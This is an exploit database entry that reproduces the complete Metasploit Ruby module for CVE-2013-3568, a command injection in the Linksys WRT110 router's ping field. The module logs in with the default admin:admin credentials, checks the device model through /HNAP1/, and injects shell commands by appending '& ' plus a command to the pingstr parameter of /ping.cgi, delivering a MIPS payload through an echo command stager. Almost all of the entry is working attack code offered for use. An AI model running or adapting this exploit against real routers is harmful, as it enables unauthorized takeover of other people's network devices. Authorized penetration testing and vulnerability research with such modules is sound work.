ID

VAR-E-201307-0244

CVE

EDB ID

28484

TITLE

Linksys WRT110 - Remote Command Execution (Metasploit) - Hardware remote Exploit

DESCRIPTION

Linksys WRT110 - Remote Command Execution (Metasploit). CVE-2013-3568CVE-95186 . remote exploit for Hardware platform

AFFECTED PRODUCTS

EXPLOIT

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerEcho

def initialize(info = {})
super(update_info(info,
'Name' => 'Linksys WRT110 Remote Command Execution',
'Description' => %q{
The Linksys WRT110 consumer router is vulnerable to a command injection
exploit in the ping field of the web interface.
},
'Author' =>
[
'Craig Young', # Vulnerability discovery
'joev <jvennix[at]rapid7.com>', # msf module
'juan vazquez' # module help + echo cmd stager
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-3568'],
['BID', '61151'],
['URL', 'http://seclists.org/bugtraq/2013/Jul/78']
],
'DisclosureDate' => 'Jul 12 2013',
'Privileged' => true,
'Platform' => ['linux'],
'Arch' => ARCH_MIPSLE,
'Targets' =>
[
['Linux mipsel Payload', { } ]
],
'DefaultTarget' => 0,
))

register_options([
OptString.new('USERNAME', [ true, 'Valid router administrator username', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', 'admin']),
OptAddress.new('RHOST', [true, 'The address of the router', '192.168.1.1']),
OptInt.new('TIMEOUT', [false, 'The timeout to use in every request', 20])
], self.class)

end

def check
begin
res = send_request_cgi({
'uri' => '/HNAP1/'
})
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Safe
end

if res and res.code == 200 and res.body =~ /<ModelName>WRT110<\/ModelName>/
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit
test_login!

execute_cmdstager
end

# Sends an HTTP request with authorization header to the router
# Raises an exception unless the login is successful
def test_login!
print_status("#{rhost}:#{rport} - Trying to login with #{user}:#{pass}")

res = send_auth_request_cgi({
'uri' => '/',
'method' => 'GET'
})

if not res or res.code == 401 or res.code == 404
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Could not login with #{user}:#{pass}")
else
print_good("#{rhost}:#{rport} - Successful login #{user}:#{pass}")
end
end

# Run the command on the router
def execute_command(cmd, opts)
send_auth_request_cgi({
'uri' => '/ping.cgi',
'method' => 'POST',
'vars_post' => {
'pingstr' => '& ' + cmd
}
})

Rex.sleep(1) # Give the device a second
end

# Helper methods
def user; datastore['USERNAME']; end
def pass; datastore['PASSWORD'] || ''; end

def send_auth_request_cgi(opts={}, timeout=nil)
timeout ||= datastore['TIMEOUT']
opts.merge!('authorization' => basic_auth(user, pass))
begin
send_request_cgi(opts, timeout)
rescue ::Rex::ConnectionError
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
end
end
end

EXPLOIT LANGUAGE

rb

PRICE

free

TYPE

Remote Command Execution (Metasploit)

TAGS

CREDITS

Metasploit

EXTERNAL IDS

REFERENCES

SOURCES

LAST UPDATE DATE

2022-07-27T09:24:47.072000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE